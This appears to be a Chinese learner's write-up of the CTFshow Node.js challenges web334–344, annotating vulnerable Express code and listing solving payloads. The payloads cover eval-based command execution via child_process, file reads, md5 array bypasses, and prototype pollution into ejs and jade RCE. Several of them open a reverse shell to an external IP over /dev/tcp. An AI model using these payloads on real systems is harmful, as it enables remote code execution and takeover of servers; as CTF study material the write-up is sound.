还是老规矩,边写边学,先分享两篇文章
深入理解 JavaScript Prototype 污染攻击 | 离别歌
《JavaScript百炼成仙》 全书知识点整理-CSDN博客
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
334-js审计
var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。
var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。
var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
// name: 用户名
// password: 密码
// 返回值:
// 如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
// 首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
// 然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
// 最后检查用户的密码是否与提供的密码匹配。
/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。
router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
// req: 请求对象,包含客户端发送的请求信息。
// res: 响应对象,用于向客户端发送响应。
// next: 函数,用于将控制权传递给下一个中间件或路由处理函数。
res.type('html');
// 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。
var flag='flag_here';
// 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。
var sess = req.session;
// 获取请求对象中的会话对象,用于管理用户会话。
var user = findUser(req.body.username, req.body.password);
// 调用 findUser 函数,使用请求体中的用户名和密码查找用户。
// req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。
if(user){
// 如果找到用户,执行以下代码块。
req.session.regenerate(function(err) {
// 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。
// 参数:
// err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。
if(err){
// 如果发生错误,执行以下代码块。
return res.json({ret_code: 2, ret_msg: '登录失败'});
// 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。
// return 用于立即返回响应,阻止后续代码执行。
}
req.session.loginUser = user.username;
// 将找到的用户名存储到会话中,表示用户已登录。
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
// 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。
});
}else{
// 如果未找到用户,执行以下代码块。
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
// 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。
}
});
// 结束路由处理函数的定义。
module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。
items: [
// 定义一个数组,数组中包含用户对象,用于存储用户信息。
{username: 'CTFSHOW', password: '123456'}
// 用户对象,包含用户名和密码属性。
// username: 'CTFSHOW',表示用户名为 CTFSHOW。
// password: '123456',表示该用户的密码为 123456。
]
};
审计一下代码
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow
所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行)
335 -js命令执行
看源码有点提示。 然后去搜了一些js中eval的用法
那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process
模块,具体可看下面的文章
child_process 子进程 | Node.js v23 文档
先导入child_process模块,再执行命令查看路径
下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章
学习一些payload
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
336-exec被过滤
exec被过滤
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
也可以拼接绕过
?eval=require('child_process')['ex'%2B'ecSync']('ls')
还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)
打下面这个payload看到源码
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt')
337-js之语法
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作
// 定义一个函数,用于计算字符串的md5值
function md5(s) {
return crypto.createHash('md5') // 创建一个md5加密算法的hash对象
.update(s) // 将要加密的字符串传入hash对象
.digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}
/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求
res.type('html'); // 设置响应的内容类型为html
var flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥
var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数
var b = req.query.b; // 获取请求参数b的值
// 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag); // 如果满足条件,直接返回flag
}else{
res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'
}
});
module.exports = router; // 将路由对象导出,以便在其他文件中使用
这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
方法一
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3不管咋样结果都是[object Object]flag{xxx}
方法二
打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。
方法三
?a[]=x&b=x。首先要知道[‘a’]+flag= = =‘a’+flag,所以自然md5加密相同
338-原型链污染
这里再把p神的文章看一下,再做题显然更流畅
深入理解 JavaScript Prototype 污染攻击 | 离别歌
题目给了源码,审计一下源码,,发现两段核心代码
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
显然这个函数是递归,作用是将 object2
的所有可枚举属性(key)复制到 object1
中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__
,就可以原型链污染。
再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断 secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js
/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体
res.type('html'); // 设置响应的内容类型为html
var flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥
var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息
var sess = req.session; // 获取请求的会话对象,用于管理用户会话
let user = {}; // 定义一个空对象user,用于存储用户信息
utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中
// 判断secert对象的ctfshow属性是否等于'36dboy'
if(secert.ctfshow==='36dboy'){
res.end(flag); // 如果条件满足,直接返回flag
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息
}
});
module.exports = router; // 将路由对象导出,以便在其他文件中使用
在这段代码中,服务器使用 body-parser
中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)
{"__proto__":{"ctfshow":"36dboy"}}
339 -反弹shell污染
题目给了源码,审计一下,发现三段重要的代码
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。
ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客
而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行
接下来login的post打反弹shell
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}
然后路由改为api发包,结果是这样就对
flag在login.js里
下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译。下面的文章很详细可以仔细看看
nodejs - web339 原型链污染 - 《CTF show》 - 极客文档
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
非预期
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}
340-二次污染链-反弹shell
这题与上题就这有点不同
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell
flag在环境变量里,打env即可
341.污染链之ejs模板引擎漏洞。
这题删除了api,login.js也修改了
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}
login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。
342-343.污染链之jade rce
这题看来很多文章还是没看懂,代码功力太弱了,直接打payload
nodejs - web342 原型链污染 - 《CTF show》 - 极客文档
文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区
依旧login.js中post打这个paylaod(请求头中的“Content-Type”改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
344
题目页面给了代码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}